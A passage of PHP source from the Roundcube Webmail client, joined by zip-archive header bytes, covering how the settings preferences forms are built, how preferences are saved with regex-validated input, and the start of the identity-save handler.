                        'content' => $select->show($config['addressbook_name_listing']),
                    ];
                }

                // show addressbook sort column
                if (!isset($no_override['addressbook_sort_col'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_addressbook_sort_col';
                    $select   = new html_select([
                            'name'  => '_addressbook_sort_col',
                            'id'    => $field_id,
                            'class' => 'custom-select'
                    ]);

                    $select->add($rcmail->gettext('name'), 'name');
                    $select->add($rcmail->gettext('firstname'), 'firstname');
                    $select->add($rcmail->gettext('surname'), 'surname');

                    $blocks['main']['options']['sort_col'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('listsorting'))),
                        'content' => $select->show($config['addressbook_sort_col']),
                    ];
                }

                // show addressbook page size selection
                if (!isset($no_override['addressbook_pagesize'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $size     = intval($config['addressbook_pagesize'] ?: $config['pagesize']);
                    $field_id = 'rcmfd_addressbook_pagesize';
                    $input    = new html_inputfield([
                            'name'  => '_addressbook_pagesize',
                            'id'    => $field_id,
                            'size'  => 5,
                            'class' => 'form-control'
                    ]);

                    $blocks['main']['options']['pagesize'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('pagesize'))),
                        'content' => $input->show($size ?: 50),
                    ];
                }

                if (!isset($no_override['contact_form_mode'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $mode     = $config['contact_form_mode'] == 'business' ? 'business' : 'private';
                    $field_id = 'rcmfd_contact_form_mode';
                    $select   = new html_select([
                            'name'  => '_contact_form_mode',
                            'id'    => $field_id,
                            'class' => 'custom-select'
                    ]);

                    $select->add($rcmail->gettext('privatemode'), 'private');
                    $select->add($rcmail->gettext('businessmode'), 'business');

                    $blocks['main']['options']['contact_form_mode'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('contactformmode'))),
                        'content' => $select->show($mode),
                    ];
                }

                if (!isset($no_override['autocomplete_single'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_autocomplete_single';
                    $checkbox = new html_checkbox(['name' => '_autocomplete_single', 'id' => $field_id, 'value' => 1]);

                    $blocks['main']['options']['autocomplete_single'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('autocompletesingle'))),
                        'content' => $checkbox->show($config['autocomplete_single']?1:0),
                    ];
                }

                if (!isset($no_override['collected_recipients'])) {
                    if (!$current) {
                        continue 2;
                    }

                    if (!isset($books)) {
                        $books = $rcmail->get_address_sources(true, true);
                    }

                    $field_id = 'rcmfd_collected_recipients';
                    $select   = new html_select([
                            'name'  => '_collected_recipients',
                            'id'    => $field_id,
                            'class' => 'custom-select'
                    ]);

                    $select->add('---', '');
                    $select->add($rcmail->gettext('collectedrecipients'), (string) rcube_addressbook::TYPE_RECIPIENT);

                    foreach ($books as $book) {
                        $select->add(html_entity_decode($book['name'], ENT_COMPAT, 'UTF-8'), $book['id']);
                    }

                    $selected = $config['collected_recipients'];
                    if (is_bool($selected)) {
                        $selected = $selected ? rcube_addressbook::TYPE_RECIPIENT : '';
                    }

                    $blocks['collected']['options']['collected_recipients'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('collectedrecipientsopt'))),
                        'content' => $select->show((string) $selected),
                    ];
                }

                if (!isset($no_override['collected_senders'])) {
                    if (!$current) {
                        continue 2;
                    }

                    if (!isset($books)) {
                        $books = $rcmail->get_address_sources(true, true);
                    }

                    $field_id = 'rcmfd_collected_senders';
                    $select   = new html_select([
                            'name'  => '_collected_senders',
                            'id'    => $field_id,
                            'class' => 'custom-select'
                    ]);

                    $select->add($rcmail->gettext('trustedsenders'), (string) rcube_addressbook::TYPE_TRUSTED_SENDER);

                    foreach ($books as $book) {
                        $select->add(html_entity_decode($book['name'], ENT_COMPAT, 'UTF-8'), $book['id']);
                    }

                    $selected = $config['collected_senders'];
                    if (is_bool($selected)) {
                        $selected = $selected ? rcube_addressbook::TYPE_TRUSTED_SENDER : '';
                    }

                    $blocks['collected']['options']['collected_senders'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('collectedsendersopt'))),
                        'content' => $select->show((string) $selected),
                    ];
                }

                break;

            // Special IMAP folders
            case 'folders':
                $blocks = [
                    'main'     => ['name' => rcube::Q($rcmail->gettext('mainoptions'))],
                    'advanced' => ['name' => rcube::Q($rcmail->gettext('advancedoptions'))],
                ];

                if (!isset($no_override['show_real_foldernames'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'show_real_foldernames';
                    $input    = new html_checkbox(['name' => '_show_real_foldernames', 'id' => $field_id, 'value' => 1]);

                    $blocks['main']['options']['show_real_foldernames'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('show_real_foldernames'))),
                        'content' => $input->show($config['show_real_foldernames']?1:0),
                    ];
                }

                // Configure special folders
                $set = ['drafts_mbox', 'sent_mbox', 'junk_mbox', 'trash_mbox'];

                if ($current && count(array_intersect($no_override, $set)) < 4) {
                    $select = self::folder_selector([
                            'noselection'   => '---',
                            'realnames'     => true,
                            'maxlength'     => 30,
                            'folder_filter' => 'mail',
                            'folder_rights' => 'w',
                            'class'         => 'custom-select',
                    ]);

                    // #1486114, #1488279, #1489219
                    $onchange = "if ($(this).val() == 'INBOX') $(this).val('')";
                }
                else {
                    $onchange = null;
                    $select   = new html_select();
                }

                if (!isset($no_override['drafts_mbox'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $attrs = ['id' => '_drafts_mbox', 'name' => '_drafts_mbox', 'onchange' => $onchange];
                    $blocks['main']['options']['drafts_mbox'] = [
                        'title'   => html::label($attrs['id'], rcube::Q($rcmail->gettext('drafts'))),
                        'content' => $select->show($config['drafts_mbox'], $attrs),
                    ];
                }

                if (!isset($no_override['sent_mbox'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $attrs = ['id' => '_sent_mbox', 'name' => '_sent_mbox', 'onchange' => ''];
                    $blocks['main']['options']['sent_mbox'] = [
                        'title'   => html::label($attrs['id'], rcube::Q($rcmail->gettext('sent'))),
                        'content' => $select->show($config['sent_mbox'], $attrs),
                    ];
                }

                if (!isset($no_override['junk_mbox'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $attrs = ['id' => '_junk_mbox', 'name' => '_junk_mbox', 'onchange' => $onchange];
                    $blocks['main']['options']['junk_mbox'] = [
                        'title'   => html::label($attrs['id'], rcube::Q($rcmail->gettext('junk'))),
                        'content' => $select->show($config['junk_mbox'], $attrs),
                    ];
                }

                if (!isset($no_override['trash_mbox'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $attrs = ['id' => '_trash_mbox', 'name' => '_trash_mbox', 'onchange' => $onchange];
                    $blocks['main']['options']['trash_mbox'] = [
                        'title'   => html::label($attrs['id'], rcube::Q($rcmail->gettext('trash'))),
                        'content' => $select->show($config['trash_mbox'], $attrs),
                    ];
                }

                break;

            // Server settings
            case 'server':
                $blocks = [
                    'main'        => ['name' => rcube::Q($rcmail->gettext('mainoptions'))],
                    'maintenance' => ['name' => rcube::Q($rcmail->gettext('maintenance'))],
                    'advanced'    => ['name' => rcube::Q($rcmail->gettext('advancedoptions'))],
                ];

                if (!isset($no_override['read_when_deleted'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_read_deleted';
                    $input    = new html_checkbox(['name' => '_read_when_deleted', 'id' => $field_id, 'value' => 1]);

                    $blocks['main']['options']['read_when_deleted'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('readwhendeleted'))),
                        'content' => $input->show($config['read_when_deleted']?1:0),
                    ];
                }

                if (!isset($no_override['flag_for_deletion'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_flag_for_deletion';
                    $input    = new html_checkbox(['name' => '_flag_for_deletion', 'id' => $field_id, 'value' => 1]);

                    $blocks['main']['options']['flag_for_deletion'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('flagfordeletion'))),
                        'content' => $input->show($config['flag_for_deletion']?1:0),
                    ];
                }

                // don't show deleted messages
                if (!isset($no_override['skip_deleted'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_skip_deleted';
                    $input    = new html_checkbox(['name' => '_skip_deleted', 'id' => $field_id, 'value' => 1]);

                    $blocks['main']['options']['skip_deleted'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('skipdeleted'))),
                        'content' => $input->show($config['skip_deleted']?1:0),
                    ];
                }

                if (!isset($no_override['delete_junk'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_delete_junk';
                    $input    = new html_checkbox(['name' => '_delete_junk', 'id' => $field_id, 'value' => 1]);

                    $blocks['main']['options']['delete_junk'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('deletejunk'))),
                        'content' => $input->show($config['delete_junk']?1:0),
                    ];
                }

                // Trash purging on logout
                if (!isset($no_override['logout_purge'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_logout_purge';
                    $select   = new html_select([
                            'name'  => '_logout_purge',
                            'id'    => $field_id,
                            'class' => 'custom-select'
                    ]);

                    $select->add($rcmail->gettext('never'), 'never');
                    $select->add($rcmail->gettext('allmessages'), 'all');

                    foreach ([30, 60, 90] as $days) {
                        $select->add($rcmail->gettext(['name' => 'olderxdays', 'vars' => ['x' => $days]]), (string) $days);
                    }

                    $purge = $config['logout_purge'];
                    if (!is_numeric($purge)) {
                        $purge = empty($purge) ? 'never' : 'all';
                    }

                    $blocks['maintenance']['options']['logout_purge'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('logoutclear'))),
                        'content' => $select->show((string) $purge),
                    ];
                }

                // INBOX compacting on logout
                if (!isset($no_override['logout_expunge'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_logout_expunge';
                    $input    = new html_checkbox(['name' => '_logout_expunge', 'id' => $field_id, 'value' => 1]);

                    $blocks['maintenance']['options']['logout_expunge'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('logoutcompact'))),
                        'content' => $input->show($config['logout_expunge']?1:0),
                    ];
                }

                break;

            // Server settings
            case 'encryption':
                $blocks = [
                    'main'       => ['name' => rcube::Q($rcmail->gettext('mainoptions'))],
                    'mailvelope' => ['name' => rcube::Q($rcmail->gettext('mailvelopeoptions'))],
                    'advanced'   => ['name' => rcube::Q($rcmail->gettext('advancedoptions'))],
                ];

                if (!isset($no_override['mailvelope_main_keyring'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_mailvelope_main_keyring';
                    $input    = new html_checkbox(['name' => '_mailvelope_main_keyring', 'id' => $field_id, 'value' => 1]);

                    $blocks['mailvelope']['options']['mailvelope_status'] = [
                        'content' => html::div(
                            ['style' => 'display:none', 'class' => 'boxwarning', 'id' => 'mailvelope-warning'],
                            str_replace(
                                'Mailvelope', '<a href="https://www.mailvelope.com" target="_blank">Mailvelope</a>',
                                rcube::Q($rcmail->gettext('mailvelopenotfound'))
                            )
                            . html::script([], "if (!parent.mailvelope) \$('#mailvelope-warning').show()")
                        )
                    ];

                    $blocks['mailvelope']['options']['mailvelope_main_keyring'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('mailvelopemainkeyring'))),
                        'content' => $input->show(!empty($config['mailvelope_main_keyring']) ? 1 : 0),
                    ];
                }

                break;
            }

            $found = false;
            $data  = $rcmail->plugins->exec_hook('preferences_list', [
                    'section' => $sect['id'],
                    'blocks'  => $blocks,
                    'current' => $current
            ]);

            $advanced_prefs = (array) $rcmail->config->get('advanced_prefs');

            // create output
            foreach ($data['blocks'] as $key => $block) {
                if (!empty($block['content']) || !empty($block['options'])) {
                    $found = true;
                }
                // move some options to the 'advanced' block as configured by admin
                if ($key != 'advanced') {
                    foreach ($advanced_prefs as $opt) {
                        if ($block['options'][$opt]) {
                            $data['blocks']['advanced']['options'][$opt] = $block['options'][$opt];
                            unset($data['blocks'][$key]['options'][$opt]);
                        }
                    }
                }
            }

            // move 'advanced' block to the end of the list
            if (!empty($data['blocks']['advanced'])) {
                $adv = $data['blocks']['advanced'];
                unset($data['blocks']['advanced']);
                $data['blocks']['advanced'] = $adv;
            }

            if (!$found) {
                unset($sections[$idx]);
            }
            else {
                $sections[$idx]['blocks'] = $data['blocks'];
            }

            // allow plugins to add a header to each section
            $data = $rcmail->plugins->exec_hook('preferences_section_header',
                ['section' => $sect['id'], 'header' => '', 'current' => $current]);

            if (!empty($data['header'])) {
                $sections[$idx]['header'] = $data['header'];
            }
        }

        return [$sections, $plugin['cols']];
    }

    /**
     * Get list of installed skins
     *
     * @return array List of skin names
     */
    public static function get_skins()
    {
        $rcmail = rcmail::get_instance();
        $path   = RCUBE_INSTALL_PATH . 'skins';
        $skins  = [];
        $dir    = opendir($path);
        $limit  = (array) $rcmail->config->get('skins_allowed');

        if (!$dir) {
            return false;
        }

        while (($file = readdir($dir)) !== false) {
            $filename = $path . '/' . $file;
            if ($file[0] != '.'
                && (empty($limit) || in_array($file, $limit))
                && is_dir($filename) && is_readable($filename)
            ) {
                $skins[] = $file;
            }
        }

        closedir($dir);

        return $skins;
    }

    /**
     * Render the list of settings sections (AKA tabs)
     *
     * @param array $attrib Template object attributes
     *
     * @return string HTML content
     */
    public static function settings_tabs($attrib)
    {
        $rcmail = rcmail::get_instance();

        // add default attributes
        $attrib += ['tagname' => 'span', 'idprefix' => 'settingstab', 'selclass' => 'selected'];

        $default_actions = [
            ['action' => 'preferences', 'type' => 'link', 'label' => 'preferences', 'title' => 'editpreferences'],
            ['action' => 'folders',     'type' => 'link', 'label' => 'folders',     'title' => 'managefolders'],
            ['action' => 'identities',  'type' => 'link', 'label' => 'identities',  'title' => 'manageidentities'],
            ['action' => 'responses',   'type' => 'link', 'label' => 'responses',   'title' => 'manageresponses'],
        ];

        $disabled_actions = (array) $rcmail->config->get('disabled_actions');

        // get all identities from DB and define list of cols to be displayed
        $plugin = $rcmail->plugins->exec_hook('settings_actions', [
                'actions' => $default_actions,
                'attrib'  => $attrib,
        ]);

        $selected = !empty($rcmail->action) ? $rcmail->action : 'preferences';
        $attrib   = $plugin['attrib'];
        $tagname  = $attrib['tagname'];
        $tabs     = [];

        foreach ($plugin['actions'] as $action) {
            if (empty($action['command']) && !empty($action['action'])) {
                $action['prop'] = $action['action'];
                $action['command'] = 'show';
            }
            else if (empty($action['command']) || $action['command'] != 'show') {
                // Backwards compatibility, show command added in 1.4
                $action['prop']    = !empty($action['command']) ? $action['command'] : null;
                $action['command'] = 'show';
            }

            $cmd = !empty($action['prop']) ? $action['prop'] : $action['action'];
            $id  = !empty($action['id']) ? $action['id'] : $cmd;

            if (in_array('settings.' . $cmd, $disabled_actions)) {
                continue;
            }

            if (empty($action['href'])) {
                $action['href'] = $rcmail->url(['_action' => $cmd]);
            }

            $button = $rcmail->output->button($action + ['type' => 'link']);
            $attr   = $attrib;

            if (!empty($id)) {
                $attr['id'] = preg_replace('/[^a-z0-9]/i', '', $attrib['idprefix'] . $id);
            }

            $classnames = [];
            if (!empty($attrib['class'])) {
                $classnames[] = $attrib['class'];
            }
            if (!empty($action['class'])) {
                $classnames[] = $action['class'];
            }
            else if (!empty($cmd)) {
                $classnames[] = $cmd;
            }
            if ($cmd == $selected && !empty($attrib['selclass'])) {
                $classnames[] = $attrib['selclass'];
            }

            $attr['class'] = join(' ', $classnames);
            $tabs[] = html::tag($tagname, $attr, $button, html::$common_attrib);
        }

        return join('', $tabs);
    }

    /**
     * Localize timezone identifiers
     *
     * @param string $tz Timezone name
     *
     * @return string Localized timezone name
     */
    public static function timezone_label($tz)
    {
        static $labels;

        if ($labels === null) {
            $labels = [];
            $lang   = $_SESSION['language'];
            if ($lang && $lang != 'en_US') {
                if (file_exists(RCUBE_LOCALIZATION_DIR . "$lang/timezones.inc")) {
                    include RCUBE_LOCALIZATION_DIR . "$lang/timezones.inc";
                }
            }
        }

        if (empty($labels)) {
            return str_replace('_', ' ', $tz);
        }

        $tokens = explode('/', $tz);
        $key    = 'tz';

        foreach ($tokens as $i => $token) {
            $idx   = strtolower($token);
            $token = str_replace('_', ' ', $token);
            $key  .= ":$idx";

            $tokens[$i] = !empty($labels[$key]) ? $labels[$key] : $token;
        }

        return implode('/', $tokens);
    }

    /**
     * Returns timezone offset in standard time
     */
    public static function timezone_standard_time_data($tzname)
    {
        try {
            $tz    = new DateTimeZone($tzname);
            $date  = new DateTime('now', $tz);
            $count = 12;

            // Move back for a month (up to 12 times) until non-DST date is found
            while ($count > 0 && $date->format('I')) {
                $date->sub(new DateInterval('P1M'));
                $count--;
            }

            $offset  = $date->format('Z') + 45000;
            $sortkey = sprintf('%06d.%s', $offset, $tzname);

            return [
                'key'    => $sortkey,
                'offset' => $date->format('P'),
            ];
        }
        catch (Exception $e) {
            // ignore
        }
    }

    /**
     * Attach uploaded images into signature as data URIs
     */
    public static function attach_images($html, $mode)
    {
        $rcmail = rcmail::get_instance();
        $offset = 0;
        $regexp = '/\s(poster|src)\s*=\s*[\'"]*\S+upload-display\S+file=rcmfile(\w+)[\s\'"]*/';

        while (preg_match($regexp, $html, $matches, 0, $offset)) {
            $file_id  = $matches[2];
            $data_uri = ' ';

            if ($file_id && !empty($_SESSION[$mode]['files'][$file_id])) {
                $file = $_SESSION[$mode]['files'][$file_id];
                $file = $rcmail->plugins->exec_hook('attachment_get', $file);

                $data_uri .= 'src="data:' . $file['mimetype'] . ';base64,';
                $data_uri .= base64_encode(!empty($file['data']) ? $file['data'] : file_get_contents($file['path']));
                $data_uri .= '" ';
            }

            $html    = str_replace($matches[0], $data_uri, $html);
            $offset += strlen($data_uri) - strlen($matches[0]) + 1;
        }

        return $html;
    }

    /**
     * Sanity checks/cleanups on HTML body of signature
     */
    public static function wash_html($html)
    {
        // Add header with charset spec., washtml cannot work without that
        $html = '<html><head>'
            . '<meta http-equiv="Content-Type" content="text/html; charset='.RCUBE_CHARSET.'" />'
            . '</head><body>' . $html . '</body></html>';

        // clean HTML with washtml by Frederic Motte
        $wash_opts = [
            'show_washed'   => false,
            'allow_remote'  => 1,
            'charset'       => RCUBE_CHARSET,
            'html_elements' => ['body', 'link'],
            'html_attribs'  => ['rel', 'type'],
        ];

        // initialize HTML washer
        $washer = new rcube_washtml($wash_opts);

        // Remove non-UTF8 characters (#1487813)
        $html = rcube_charset::clean($html);

        $html = $washer->wash($html);

        // remove unwanted comments and tags (produced by washtml)
        $html = preg_replace(['/<!--[^>]+-->/', '/<\/?body>/'], '', $html);

        return $html;
    }
}
PK
h�\8,�1�1'program/actions/settings/prefs_save.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Save user preferences to DB and to the current session              |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_prefs_save extends rcmail_action
{
    protected static $mode = self::MODE_HTTP;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        $CURR_SECTION  = rcube_utils::get_input_string('_section', rcube_utils::INPUT_POST);
        $dont_override = (array) $rcmail->config->get('dont_override');
        $a_user_prefs  = [];

        // set options for specified section
        switch ($CURR_SECTION) {
        case 'general':
            $a_user_prefs = [
                'language'     => self::prefs_input('language', '/^[a-zA-Z0-9_-]+$/'),
                'timezone'     => self::prefs_input('timezone', '/^[a-zA-Z_\/-]+$/'),
                'date_format'  => self::prefs_input('date_format', '/^[a-zA-Z_.\/ -]+$/'),
                'time_format'  => self::prefs_input('time_format', '/^[a-zA-Z0-9: ]+$/'),
                'prettydate'   => isset($_POST['_pretty_date']),
                'display_next' => isset($_POST['_display_next']),
                'refresh_interval' => self::prefs_input_int('refresh_interval') * 60,
                'standard_windows' => isset($_POST['_standard_windows']),
                'skin'         => self::prefs_input('skin', '/^[a-zA-Z0-9_.-]+$/'),
            ];

            // compose derived date/time format strings
            if (
                (isset($_POST['_date_format']) || isset($_POST['_time_format']))
                && !empty($a_user_prefs['date_format'])
                && !empty($a_user_prefs['time_format'])
            ) {
                $a_user_prefs['date_short'] = 'D ' . $a_user_prefs['time_format'];
                $a_user_prefs['date_long']  = $a_user_prefs['date_format'] . ' ' . $a_user_prefs['time_format'];
            }

            break;

        case 'mailbox':
            $a_user_prefs = [
                'layout'             => self::prefs_input('layout', '/^[a-z]+$/'),
                'mail_read_time'     => self::prefs_input_int('mail_read_time'),
                'autoexpand_threads' => self::prefs_input_int('autoexpand_threads'),
                'check_all_folders'  => isset($_POST['_check_all_folders']),
                'mail_pagesize'      => max(2, self::prefs_input_int('mail_pagesize')),
            ];

            break;

        case 'mailview':
            $a_user_prefs = [
                'message_extwin'     => self::prefs_input_int('message_extwin'),
                'message_show_email' => isset($_POST['_message_show_email']),
                'prefer_html'        => isset($_POST['_prefer_html']),
                'inline_images'      => isset($_POST['_inline_images']),
                'show_images'        => self::prefs_input_int('show_images'),
                'mdn_requests'       => self::prefs_input_int('mdn_requests'),
                'default_charset'    => self::prefs_input('default_charset', '/^[a-zA-Z0-9-]+$/'),
            ];

            break;

        case 'compose':
            $a_user_prefs = [
                'compose_extwin'     => self::prefs_input_int('compose_extwin'),
                'htmleditor'         => self::prefs_input_int('htmleditor'),
                'draft_autosave'     => self::prefs_input_int('draft_autosave'),
                'mime_param_folding' => self::prefs_input_int('mime_param_folding'),
                'force_7bit'         => isset($_POST['_force_7bit']),
                'mdn_default'        => isset($_POST['_mdn_default']),
                'dsn_default'        => isset($_POST['_dsn_default']),
                'reply_same_folder'  => isset($_POST['_reply_same_folder']),
                'spellcheck_before_send' => isset($_POST['_spellcheck_before_send']),
                'spellcheck_ignore_syms' => isset($_POST['_spellcheck_ignore_syms']),
                'spellcheck_ignore_nums' => isset($_POST['_spellcheck_ignore_nums']),
                'spellcheck_ignore_caps' => isset($_POST['_spellcheck_ignore_caps']),
                'show_sig'           => self::prefs_input_int('show_sig'),
                'reply_mode'         => self::prefs_input_int('reply_mode'),
                'sig_below'          => isset($_POST['_sig_below']),
                'strip_existing_sig' => isset($_POST['_strip_existing_sig']),
                'sig_separator'      => isset($_POST['_sig_separator']),
                'default_font'       => self::prefs_input('default_font', '/^[a-zA-Z ]+$/'),
                'default_font_size'  => self::prefs_input('default_font_size', '/^[0-9]+pt$/'),
                'reply_all_mode'     => self::prefs_input_int('reply_all_mode'),
                'forward_attachment' => !empty($_POST['_forward_attachment']),
                'compose_save_localstorage' => self::prefs_input_int('compose_save_localstorage'),
            ];

            break;

        case 'addressbook':
            $a_user_prefs = [
                'default_addressbook'  => rcube_utils::get_input_string('_default_addressbook', rcube_utils::INPUT_POST, true),
                'collected_recipients' => rcube_utils::get_input_string('_collected_recipients', rcube_utils::INPUT_POST, true),
                'collected_senders'    => rcube_utils::get_input_string('_collected_senders', rcube_utils::INPUT_POST, true),
                'autocomplete_single'  => isset($_POST['_autocomplete_single']),
                'addressbook_sort_col' => self::prefs_input('addressbook_sort_col', '/^[a-z_]+$/'),
                'addressbook_name_listing' => self::prefs_input_int('addressbook_name_listing'),
                'addressbook_pagesize' => max(2, self::prefs_input_int('addressbook_pagesize')),
                'contact_form_mode'    => self::prefs_input('contact_form_mode', '/^(private|business)$/'),
            ];

            break;

        case 'server':
            $a_user_prefs = [
                'read_when_deleted' => isset($_POST['_read_when_deleted']),
                'skip_deleted'      => isset($_POST['_skip_deleted']),
                'flag_for_deletion' => isset($_POST['_flag_for_deletion']),
                'delete_junk'       => isset($_POST['_delete_junk']),
                'logout_purge'      => self::prefs_input('logout_purge', '/^(all|never|30|60|90)$/'),
                'logout_expunge'    => isset($_POST['_logout_expunge']),
            ];

            break;

        case 'folders':
            $a_user_prefs = [
                'show_real_foldernames' => isset($_POST['_show_real_foldernames']),
                // stop using SPECIAL-USE (#4782)
                'lock_special_folders'  => !in_array('lock_special_folders', $dont_override),
            ];

            foreach (rcube_storage::$folder_types as $type) {
                $a_user_prefs[$type . '_mbox'] = rcube_utils::get_input_string('_' . $type . '_mbox', rcube_utils::INPUT_POST, true);
            };

            break;

        case 'encryption':
            $a_user_prefs = [
                'mailvelope_main_keyring' => isset($_POST['_mailvelope_main_keyring']),
            ];

            break;
        }

        $plugin = rcmail::get_instance()->plugins->exec_hook('preferences_save',
            ['prefs' => $a_user_prefs, 'section' => $CURR_SECTION]);

        $a_user_prefs = $plugin['prefs'];

        // don't override these parameters
        foreach ($dont_override as $p) {
            $a_user_prefs[$p] = $rcmail->config->get($p);
        }

        // verify some options
        switch ($CURR_SECTION) {
        case 'general':
            // switch UI language
            if (isset($_POST['_language']) && $a_user_prefs['language'] != $_SESSION['language']) {
                $rcmail->load_language($a_user_prefs['language']);
                $rcmail->output->command('reload', 500);
            }

            // switch skin (if valid, otherwise unset the pref and fall back to default)
            if (!empty($a_user_prefs['skin'])) {
                if (!$rcmail->output->check_skin($a_user_prefs['skin'])) {
                    unset($a_user_prefs['skin']);
                }
                else if ($rcmail->config->get('skin') != $a_user_prefs['skin']) {
                    $rcmail->output->command('reload', 500);
                }
            }

            $a_user_prefs['timezone'] = (string) $a_user_prefs['timezone'];

            $min_refresh_interval = (int) $rcmail->config->get('min_refresh_interval');
            if (!empty($a_user_prefs['refresh_interval']) && $min_refresh_interval) {
                if ($a_user_prefs['refresh_interval'] < $min_refresh_interval) {
                    $a_user_prefs['refresh_interval'] = $min_refresh_interval;
                }
            }

            break;

        case 'mailbox':
            // force min size
            if ($a_user_prefs['mail_pagesize'] < 1) {
                $a_user_prefs['mail_pagesize'] = 10;
            }

            $max_pagesize = (int) $rcmail->config->get('max_pagesize');
            if ($max_pagesize && ($a_user_prefs['mail_pagesize'] > $max_pagesize)) {
                $a_user_prefs['mail_pagesize'] = $max_pagesize;
            }

            break;

        case 'addressbook':
            // force min size
            if ($a_user_prefs['addressbook_pagesize'] < 1) {
                $a_user_prefs['addressbook_pagesize'] = 10;
            }

            $max_pagesize = (int) $rcmail->config->get('max_pagesize');
            if ($max_pagesize && ($a_user_prefs['addressbook_pagesize'] > $max_pagesize)) {
                $a_user_prefs['addressbook_pagesize'] = $max_pagesize;
            }

            break;

        case 'folders':
            $storage  = $rcmail->get_storage();
            $specials = [];

            foreach (rcube_storage::$folder_types as $type) {
                $specials[$type] = $a_user_prefs[$type . '_mbox'];
            }

            $storage->set_special_folders($specials);

            break;

        case 'server':
            if (isset($a_user_prefs['logout_purge']) && !is_numeric($a_user_prefs['logout_purge'])) {
                $a_user_prefs['logout_purge'] = $a_user_prefs['logout_purge'] !== 'never';
            }

            break;
        }

        // Save preferences
        if (empty($plugin['abort'])) {
            $saved = $rcmail->user->save_prefs($a_user_prefs);
        }
        else {
            $saved = $plugin['result'];
        }

        if ($saved) {
            $rcmail->output->show_message('successfullysaved', 'confirmation');
        }
        else {
            $rcmail->output->show_message(!empty($plugin['message']) ? $plugin['message'] : 'errorsaving', 'error');
        }

        // display the form again
        $rcmail->overwrite_action('edit-prefs');
    }

    /**
     * Get option value from POST and validate with a regex
     */
    public static function prefs_input($name, $regex)
    {
        $rcmail = rcmail::get_instance();
        $value  = rcube_utils::get_input_value('_' . $name, rcube_utils::INPUT_POST);

        if (!is_string($value)) {
            $value = null;
        }

        if ($value !== null && strlen($value) && !preg_match($regex, $value)) {
            $value = $rcmail->config->get($name);
        }

        return $value;
    }

    /**
     * Get integer option value from POST
     */
    public static function prefs_input_int($name)
    {
        $rcmail = rcmail::get_instance();
        $value  = rcube_utils::get_input_value('_' . $name, rcube_utils::INPUT_POST);

        return (int) $value;
    }
}
PK
h�\��-�<!<!*program/actions/settings/identity_save.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Save an identity record or to add a new one                         |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_identity_save extends rcmail_action_settings_index
{
    protected static $mode = self::MODE_HTTP;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        $IDENTITIES_LEVEL = intval($rcmail->config->get('identities_level', 0));

        $a_save_cols = ['name', 'email', 'organization', 'reply-to', 'bcc', 'standard', 'signature', 'html_signature'];
        $a_bool_cols = ['standard', 'html_signature'];
        $updated     = false;

        // check input
        if (empty($_POST['_email']) && ($IDENTITIES_LEVEL == 0 || $IDENTITIES_LEVEL == 2)) {
            $rcmail->output->show_message('noemailwarning', 'warning');
            $rcmail->overwrite_action('edit-identity');
            return;
        }

        $save_data = [];
        foreach ($a_save_cols as $col) {
            $fname = '_'.$col;
            if (isset($_POST[$fname])) {
                $save_data[$col] = rcube_utils::get_input_string($fname, rcube_utils::INPUT_POST, true);
            }
        }

        // set "off" values for checkboxes that were not checked, and therefore
        // not included in the POST body.
        foreach ($a_bool_cols as $col) {
            $fname = '_' . $col;
            if (!isset($_POST[$fname])) {
                $save_data[$col] = 0;
            }
        }

        // make the identity a "default" if only one identity is allowed
